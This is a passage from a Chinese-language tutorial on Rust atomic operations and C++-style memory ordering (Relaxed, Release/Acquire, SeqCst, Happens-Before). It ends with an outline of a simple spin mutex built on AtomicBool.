    &amp;#x2F;&amp;#x2F; 并发写入 1或2或3
    thread::scope(|s| {
        s.spawn(|| {
            atomic.store(1, Relaxed);
        });

        s.spawn(|| {
            atomic.store(2, Relaxed);
        });

        s.spawn(|| {
            atomic.store(3, Relaxed);
        });
    });

    &amp;#x2F;&amp;#x2F; 输出最后一个写入的数字，1或2或3
    println!(&amp;quot;{}&amp;quot;, atomic.load(Relaxed));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;huo-qu-he-xiu-gai-cao-zuo&quot;&gt;获取和修改操作&lt;&#x2F;h3&gt;
&lt;p&gt;获取和修改(fetch and modify)，可以看做是&lt;code&gt;a += b&lt;&#x2F;code&gt;这类操作的原子化版本。对于&lt;code&gt;AtomicI32&lt;&#x2F;code&gt;来说，就有这些：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl AtomicI32 {
    pub fn fetch_add(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_sub(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_or(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_and(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_nand(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_xor(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_max(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    pub fn fetch_min(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
    &amp;#x2F;&amp;#x2F; 返回当前值，并替换为`v`
    pub fn swap(&amp;amp;self, v: i32, ordering: Ordering) -&amp;gt; i32;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如&lt;code&gt;fetch_add&lt;&#x2F;code&gt;就是在原子变量上上加&lt;code&gt;v&lt;&#x2F;code&gt;，并返回原来的值：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let a = AtomicI32::new(100);
let b = a.fetch_add(23, Relaxed);
let c = a.load(Relaxed);

assert_eq!(b, 100);
assert_eq!(c, 123);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let a = AtomicI32::new(0);

    &amp;#x2F;&amp;#x2F; 并发+1
    thread::scope(|s| {
        &amp;#x2F;&amp;#x2F; 100个线程都对a +1
        for _ in 0..100 {
            s.spawn(|| {
                a.fetch_add(1, Relaxed);
            })
        }
    });

    assert_eq!(a.load(Relaxed), 100);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bi-jiao-jiao-huan&quot;&gt;比较交换&lt;&#x2F;h3&gt;
&lt;p&gt;最灵活但最灵活的原子操作是比较交换操作(&lt;code&gt;compare_exchange&lt;&#x2F;code&gt;)。它的签名是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl AtomicI32 {
    pub fn compare_exchange(
        &amp;amp;self,
        expected: i32,
        new: i32,
        success_order: Ordering,
        failure_order: Ordering
    ) -&amp;gt; Result&amp;lt;i32, i32&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其行为是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果原子变量的值为&lt;code&gt;expected&lt;&#x2F;code&gt;，那么将原子变量的值替换为&lt;code&gt;new&lt;&#x2F;code&gt;，返回&lt;code&gt;Ok(旧值)&lt;&#x2F;code&gt;。这部分的行为和&lt;code&gt;atomic.swap(new, success_order)&lt;&#x2F;code&gt;一致。&lt;&#x2F;li&gt;
&lt;li&gt;如果不一致，则返回&lt;code&gt;Err(当前值)&lt;&#x2F;code&gt;。失败的行为和&lt;code&gt;atomic.load(failure_order)&lt;&#x2F;code&gt;一致。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let a = AtomicI32::new(100);
&amp;#x2F;&amp;#x2F; 替换成功
let b = a.compare_exchange(100, 0, Relaxed, Relaxed);
&amp;#x2F;&amp;#x2F; 替换失败
let c = a.compare_exchange(100, 1, Relaxed, Relaxed);

assert_eq!(b, 100);
assert_eq!(c, 0);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然很复杂，但它确实是&lt;em&gt;一个&lt;&#x2F;em&gt;原子操作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-cun-shun-xu&quot;&gt;内存顺序&lt;&#x2F;h2&gt;
&lt;p&gt;原子变量中真正用于线程同步的部分是内存顺序，&lt;strong&gt;用于建立线程间原子操作的发生顺序&lt;&#x2F;strong&gt;。这个操作之间的顺序关系称为Happens-Before关系。&lt;&#x2F;p&gt;
&lt;p&gt;而目前cpp的内存模型里定义了这几个内存顺序，对应着建立不同Happens-Before关系的规则：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;宽松顺序：&lt;code&gt;Relaxed&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;释放获取顺序：&lt;code&gt;Release&lt;&#x2F;code&gt;, &lt;code&gt;Acquire&lt;&#x2F;code&gt;, &lt;code&gt;AcqRel&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;消费顺序（但目前没有编译器能正确实现，rust里则直接忽略了，cpp建议不使用，是一种弱化版的释放获取顺序）&lt;&#x2F;li&gt;
&lt;li&gt;序列一致顺序（Sequentially consistent ordering）：&lt;code&gt;SeqCst&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;cpp-memory-order-table.jpg&quot; alt=&quot;C++ 六种 memory_order 内存序及定义规则&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;happens-beforeguan-xi&quot;&gt;Happens-Before关系&lt;&#x2F;h3&gt;
&lt;p&gt;Happens-Before关系，描述的便是操作发生的顺序。我们用 HB(x,y) &lt;strong&gt;\mathit{HB}(x, y)&lt;&#x2F;strong&gt;  记号表示，操作x发生于操作 y之前(happens before)，这个关系满足&lt;em&gt;传递性&lt;&#x2F;em&gt;。两个语句一旦形成Happens-Before关系，则意味着他们不是并发执行的，因为后一个操作可以完整地看到前一个操作做完后的状态。&lt;&#x2F;p&gt;
&lt;p&gt;但要注意的是，&lt;strong&gt;Happens-Before与时序无关&lt;&#x2F;strong&gt;，比如允许两个操作之间有无限长的时间（比如缓存一直不同步回内存里），也允许一些反直觉的行为出现。&lt;&#x2F;p&gt;
&lt;p&gt;最基本的Happens-Before关系，便是单个线程中语句的求值顺序：比如&lt;code&gt;{ stmt1; stmt2; stmt3; }&lt;&#x2F;code&gt;，这里就蕴含着三个happens before关系， HB(stmt1,stmt2) &lt;strong&gt;\mathit{HB}(stmt_1, stmt_2)&lt;&#x2F;strong&gt;  ， HB(stmt2,stmt3)&lt;strong&gt;\mathit{HB}(stmt_2, stmt_3)&lt;&#x2F;strong&gt;  ，根据传递性又可以得到 HB(stmt1,stmt3)&lt;strong&gt;\mathit{HB}(stmt_1, stmt_3)&lt;&#x2F;strong&gt;  。&lt;&#x2F;p&gt;
&lt;p&gt;而在多个线程之间，需要通过线程同步来确立Happens-Before关系，比如互斥锁不同线程的unlock和lock可以形成Happens-Before关系 HB(unlock,lock) &lt;strong&gt;\mathit{HB}(unlock, lock)&lt;&#x2F;strong&gt;  ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn thread_a(mutex: &amp;amp;Mutex&amp;lt;bool&amp;gt;) {
    let guard = mutex.lock().unwrap(); &amp;#x2F;&amp;#x2F; lock_a
    *guard = true; &amp;#x2F;&amp;#x2F; 1
    drop(guard); &amp;#x2F;&amp;#x2F; unlock_a
}

fn thread_b(mutex: &amp;amp;Mutex&amp;lt;bool&amp;gt;) {
    let guard = mutex.lock().unwrap(); &amp;#x2F;&amp;#x2F; lock_b
    println!(&amp;quot;{}&amp;quot;, *guard); &amp;#x2F;&amp;#x2F; 2
    drop(guard); &amp;#x2F;&amp;#x2F; unlock_b
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;happens-before-mutex-example.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;thread_a&lt;&#x2F;code&gt;里有Happens-Before关系： HB(1,unlocka) &lt;strong&gt;\mathit{HB}(1, unlock_a)&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;code&gt;thread_b&lt;&#x2F;code&gt;里有Happens-Before关系： HB(lockb,2) &lt;strong&gt;\mathit{HB}(lock_b, 2)&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unlock_a&lt;&#x2F;code&gt;和&lt;code&gt;lock_b&lt;&#x2F;code&gt;可以形成Happens-Before关系： HB(unlocka,lockb) &lt;strong&gt;\mathit{HB}(unlock_a, lock_b)&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;于是根据传递性可以得到： HB(1,2) &lt;strong&gt;\mathit{HB}(1, 2)&lt;&#x2F;strong&gt;  。&lt;&#x2F;li&gt;
&lt;li&gt;进一步推导，可以获得任何在锁里执行的语句，都能形成Happens-Before关系，那么意味着锁里的代码不会被并发执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;不过Happens-Before关系仅仅只是个抽象，并不一定对应实际操作发生的顺序。现实的情况就是，如果编译器发现一些Happens-Before关系也不会影响程序最终的行为，那么编译器就会选择去掉它，并做一些优化，比如&lt;strong&gt;指令重排&lt;&#x2F;strong&gt;（交换指令执行顺序，甚至并发执行）和&lt;strong&gt;缓存&lt;&#x2F;strong&gt;（写内存的语句，可以先写到某个缓存里，之后在某个时刻才同步到内存里）&lt;&#x2F;p&gt;
&lt;p&gt;比如指令重排的一个例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn f(a: &amp;amp;mut i32, b: &amp;amp;mut i32) {
    *a += 1; &amp;#x2F;&amp;#x2F; 1
    *b += 1; &amp;#x2F;&amp;#x2F; 2
    *a += 1; &amp;#x2F;&amp;#x2F; 3
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译器发现语句1,2,3的Happens-Before关系不重要，可以去掉，那么意味着语句1,2,3的顺序可以交换（甚至可以并发执行），那么编译器就可以做这样的优化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn f(a: &amp;amp;mut i32, b: &amp;amp;mut i32) {
    *a += 2;
    *b += 1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实现代的CPU同样也会做这样的优化。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuan-song-nei-cun-xu&quot;&gt;宽松内存序&lt;&#x2F;h3&gt;
&lt;p&gt;宽松内存序是最弱的内存序，&lt;code&gt;Relaxed&lt;&#x2F;code&gt;仅仅保证了操作的原子性，不会保证线程间操作发生的顺序，比如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let a = AtomicI32::new(0);

    thread::scope(|s| {
        s.spawn(|| {
           a.store(100, Relaxed);
        });

        s.spawn(|| {
            sleep(Duration::from_secs(100));
            &amp;#x2F;&amp;#x2F; 这里可能会失败，a也可能永远读不到最新的100。
            &amp;#x2F;&amp;#x2F; 因为现在没有任何规则能够说明a.load(Relaxed)发生在a.store(100, Relaxed)之后
            assert_eq!(a.load(Relaxed), 100);
        })
    });
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;甚至还会有“无中生有”的情况发生（原子变量的模型中这种情况是没法避免的的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Relaxed_ordering&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Relaxed_ordering&quot;&gt;en.cppreference.com&#x2F;w&#x2F;c&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Relaxed_ordering&quot;&gt;pp&#x2F;atomic&#x2F;memory_order#Relaxed_ordering&lt;&#x2F;a&gt;，但cpp标准不允许会会有无中生有的实现），&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let x = AtomicI32::new(0);
    let y = AtomicI32::new(0);

    thread::scope(|s| {
        &amp;#x2F;&amp;#x2F; 线程1：读x，把x的值写入y中。
        s.spawn(|| {
            let x = x.load(Relaxed);
            y.store(x, Relaxed);
        });

        &amp;#x2F;&amp;#x2F; 线程2：读y，把y的值写入x中。
        s.spawn(|| {
            let y = y.load(Relaxed);
            x.store(y, Relaxed);
        });
    });

    &amp;#x2F;&amp;#x2F; 此时x和y的值允许是任意值
    &amp;#x2F;&amp;#x2F; 这个断言允许失败
    assert_eq!(x.load(Relaxed), 0);
    &amp;#x2F;&amp;#x2F; 这个断言允许成功
    assert_eq!(y.load(Relaxed), 42);
    &amp;#x2F;&amp;#x2F; 这个断言必定成功
    assert_eq!(x.load(Relaxed), y.load(Relaxed))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里只有两个Happens-Before关系&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;relaxed-order-happens-before.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为缺乏线程间的Happens-Before关系，这里的两条&lt;code&gt;load&lt;&#x2F;code&gt;语句，我们可以假设读到的是另外一个线程&lt;code&gt;store&lt;&#x2F;code&gt;的结果，这时候我们只能得到方程&lt;code&gt;x == y&lt;&#x2F;code&gt;，而这条方程的解就可以是&lt;code&gt;i32&lt;&#x2F;code&gt;的任意值。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;relaxed-memory-ordering.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-fang-huo-qu-nei-cun-xu&quot;&gt;释放获取内存序&lt;&#x2F;h3&gt;
&lt;p&gt;释放(&lt;code&gt;Release&lt;&#x2F;code&gt;)和获取(&lt;code&gt;Acquire&lt;&#x2F;code&gt;)是用得最多的内存序，成对使用时就可以在线程之间形成Happens-Before关系。其规则如下&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Release&lt;&#x2F;code&gt;内存序用于&lt;code&gt;store&lt;&#x2F;code&gt;操作（或者其它原子操作修改的部分）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Acquire&lt;&#x2F;code&gt;内存序用于&lt;code&gt;load&lt;&#x2F;code&gt;操作（或者其它原子操作中读取的部分）&lt;&#x2F;li&gt;
&lt;li&gt;当使用&lt;code&gt;Acquire&lt;&#x2F;code&gt;的原子操作读取到&lt;code&gt;Release&lt;&#x2F;code&gt;原子操作写入的结果时，就可以形成一个Happens-Before关系， HB(storeRelease,loadAcquire) &lt;strong&gt;\mathit{HB}(store_{Release}, load_{Acquire})&lt;&#x2F;strong&gt;  .&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;例子，初始化和读取分为两个线程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;static mut DATA: u64 = 0;
static INIT_FLAG: AtomicBool = AtomicBool::new(false);

&amp;#x2F;&amp;#x2F; init thread
fn thread_a(x: u64) {
    unsafe { DATA = x } &amp;#x2F;&amp;#x2F; init
    &amp;#x2F;&amp;#x2F; 初始化完毕置`INIT_FLAG`为true
    INIT_FLAG.store(true, Release);
}

&amp;#x2F;&amp;#x2F; read thread
fn thread_b() -&amp;gt; u64 {
    &amp;#x2F;&amp;#x2F; 等待初始化标志置为true
    while !INIT_FLAG.load(Acquire) {

    }
    return DATA; &amp;#x2F;&amp;#x2F; read
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;release-acquire-happens-before.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不过这里有个现象，如果有两个线程都用&lt;code&gt;Release&lt;&#x2F;code&gt;序给原子变量写入同一个值时，&lt;code&gt;Acquire&lt;&#x2F;code&gt;读到这个值时，究竟是和哪个线程建立了Happens-Before关系呢？答案是，如果没有其它条件加以区分的时候，你只能知道是和&lt;em&gt;其中一个线程&lt;&#x2F;em&gt;的&lt;code&gt;Release&lt;&#x2F;code&gt;写形成了Happens-Before关系，但无法区分是哪一个。&lt;&#x2F;p&gt;
&lt;p&gt;敏锐的你可能发现，释放获取内存序好像也允许无中生有的情况：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn foo(any: i32) {
    let x = AtomicI32::new(0);
    let y = AtomicI32::new(0);

    thread::scope(|s| {
        s.spawn(|| {
            &amp;#x2F;&amp;#x2F; 与4发生Happens-Before关系
            assert_eq!(x.load(Acquire), any); &amp;#x2F;&amp;#x2F; 1
            y.store(x, Release); &amp;#x2F;&amp;#x2F; 2
        });

        s.spawn(|| {
            &amp;#x2F;&amp;#x2F; 与2发生Happens-Before关系
            assert_eq!(y.load(Acquire), any); &amp;#x2F;&amp;#x2F; 3
            x.store(y, Release); &amp;#x2F;&amp;#x2F; 4
        });
    });
    assert_eq!(x.load(Relaxed), any);
    assert_eq!(y.load(Relaxed), any);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;acquire-release-happens-before.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但事实上不允许，内存模型其实还有其他的规定&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Modification_order&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Modification_order&quot;&gt;en.cppreference.com&#x2F;w&#x2F;c&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&#x2F;memory_order%23Modification_order&quot;&gt;pp&#x2F;atomic&#x2F;memory_order#Modification_order&lt;&#x2F;a&gt;，规定了形成Happens-Before关系的原子操作之间的读写一致性……&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xu-lie-yi-zhi-nei-cun-xu&quot;&gt;序列一致内存序&lt;&#x2F;h3&gt;
&lt;p&gt;序列一致（Sequentially consistent ordering）的内存序是最强的内存序，严格强于释放获取内存序&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它用于&lt;code&gt;store&lt;&#x2F;code&gt;时（或者是其它原子操作的写入部分），相当于&lt;code&gt;Release&lt;&#x2F;code&gt;（也可以和&lt;code&gt;Acquire&lt;&#x2F;code&gt;建立关系）；&lt;&#x2F;li&gt;
&lt;li&gt;而用于&lt;code&gt;load&lt;&#x2F;code&gt;时（或者是其它原子操作的读取部分），则相当于&lt;code&gt;Acquire&lt;&#x2F;code&gt;（也可以和&lt;code&gt;Release&lt;&#x2F;code&gt;建立关系）；&lt;&#x2F;li&gt;
&lt;li&gt;同时还保证所有使用&lt;code&gt;SeqCst&lt;&#x2F;code&gt;原子操作之间的Happens-Before关系是全序的（数学上的total order），并且这个全序关系全局唯一。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;第三条规则就像它的名字一样，用&lt;code&gt;SeqCst&lt;&#x2F;code&gt;表达的原子操作是一个序列（Sequential），可以将一个个原子操作放在时间轴上，所以也是最符合直觉、最好分析的一个顺序。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这里也只是简化版的说法&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;SeqCst&lt;&#x2F;code&gt;内存序是最好推理的内存序，但对应到底层实现，它也是最“贵”的内存序。不过绝大多数情况我们都不需要这么强的内存顺序，很多时候换成对应的&lt;code&gt;Acquire&lt;&#x2F;code&gt;和&lt;code&gt;Release&lt;&#x2F;code&gt;都成立。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-zi-bian-liang-ying-yong&quot;&gt;原子变量应用&lt;&#x2F;h2&gt;
&lt;p&gt;本节囿于篇幅还是实现个简单的自旋互斥锁吧。&lt;&#x2F;p&gt;
&lt;p&gt;一些更强大的并发结构，可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.rs&#x2F;crossbeam&#x2F;latest&#x2F;crossbeam&#x2F;&quot;&gt;crossbeam库&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-kou&quot;&gt;接口&lt;&#x2F;h3&gt;
&lt;p&gt;接口参考std的互斥锁，这是一套锁的几乎最简洁的接口了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F;&amp;#x2F; 自旋互斥锁，保护一个`T`的值
pub struct SpinMutex&amp;lt;T&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 是否上锁了
    locked: AtomicBool,
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 被保护的数据（先忽略UnsafeCell）
    data: UnsafeCell&amp;lt;T&amp;gt;,
}

&amp;#x2F;&amp;#x2F;&amp;#x2F; 获得锁后，数据的一个“句柄”，句柄退出作用域后释放锁
&amp;#x2F;&amp;#x2F;&amp;#x2F; 即cpp中的RAII，swift中的defer
pub struct SpinMutexGuard&amp;lt;&amp;#x27;a, T&amp;gt;(&amp;amp;&amp;#x27;a SpinMutex&amp;lt;T&amp;gt;);

impl SpinMutex&amp;lt;T&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 创建一个带数据的锁
    pub fn new(data: T) -&amp;gt; Self;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; 获取锁的接口
    pub fn lock(&amp;amp;self) -&amp;gt; SpinMutexGuard&amp;lt;T&amp;gt;;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; 一个线程独占锁的时候就可以直接获取内部的数据
    pub fn into_inner(self) -&amp;gt; T;
}

impl SpinMutexGuard&amp;lt;&amp;#x27;_, T&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 通过guard访问T
    fn as_ref(&amp;amp;self) -&amp;gt; &amp;amp;T;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 获得锁之后就可以修改T了
    fn as_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut T;
}

&amp;#x2F;&amp;#x2F;&amp;#x2F; 当SpinMutexGuard&amp;lt;T&amp;gt;析构之后就会自动释放锁
impl Drop for SpinMutexGuard&amp;lt;&amp;#x27;_, T&amp;gt; {
    fn drop(&amp;amp;mut self);
}

&amp;#x2F;&amp;#x2F; 下面的这些是关于线程安全的一些约束
unsafe impl&amp;lt;T: Send&amp;gt; Send for SpinMutex&amp;lt;T&amp;gt;;
unsafe impl&amp;lt;T: Send&amp;gt; Sync for SpinMutex&amp;lt;T&amp;gt;;
unsafe impl&amp;lt;T&amp;gt; !Send for SpinMutexGuard&amp;lt;&amp;#x27;_, T&amp;gt;;
unsafe impl&amp;lt;T: Sync&amp;gt; Sync for SpinMutexGuard&amp;lt;&amp;#x27;_, T&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yong-li&quot;&gt;用例&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; 保护一个String的数据
    let m = SpinMutex::new(&amp;quot;123&amp;quot;.to_string());

    thread::scope(|s| {
        &amp;#x2F;&amp;#x2F; 线程1
        s.spawn(|| {
            &amp;#x2F;&amp;#x2F; 取锁
            let guard = m.lock();
            &amp;#x2F;&amp;#x2F; 获取锁后拼接&amp;quot;abc&amp;quot;
            *guard.as_mut() += &amp;quot;abc&amp;quot;;
            &amp;#x2F;&amp;#x2F; 睡眠1s，模拟耗时操作
            sleep(Duration::from_secs(1));
        }); &amp;#x2F;&amp;#x2F; 作用域退出后释放锁

        s.spawn(|| {
            &amp;#x2F;&amp;#x2F; 取锁 获取数据 释放锁
            let data = *m.lock().as_ref();
            println!(&amp;quot;{data}&amp;quot;);
        })
    });

    &amp;#x2F;&amp;#x2F; 主线程在子线程退出后独占锁，然后可以把里面的数据取出来
    let s = m.into_inner();
    &amp;#x2F;&amp;#x2F; ..其它操作
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-xian&quot;&gt;实现&lt;&#x2F;h3&gt;
&lt;p&gt;其中核心就是锁的获取和释放，其中获取锁的过程是使用一个循环不断地轮询&lt;code&gt;locked&lt;&#x2F;code&gt;字段，这种循环叫做spin loop。当然spin loop会浪费一些cpu cycle，只适用于非常乐观的情况，其它互斥锁的实现会替换为“线程挂起”操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl SpinMutex&amp;lt;T&amp;gt; {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 获取锁的接口
    pub fn lock(&amp;amp;self) -&amp;gt; SpinMutexGuard&amp;lt;T&amp;gt; {
        &amp;#x2F;&amp;#x2F; 尝试加锁，也就是将把locked置为true
        &amp;#x2F;&amp;#x2F; 如果locked为false，则加锁成功，返回guard
        &amp;#x2F;&amp;#x2F; 否则一直循环
        while self.locked.swap(true, Acquire) { &amp;#x2F;&amp;#x2F; 1
            &amp;#x2F;&amp;#x2F; 告诉编译器这里是一个spin loop，可以优化
            std::hint::spin_loop();
        }

        SpinMutexGuard(self)
    }
}

impl Drop for SpinLockGuard&amp;lt;&amp;#x27;_, T&amp;gt; {
    &amp;#x2F;&amp;#x2F; 释放锁
    fn drop(&amp;amp;mut self) {
        self.0.locked.store(false, Release); &amp;#x2F;&amp;#x2F; 2
    }
}
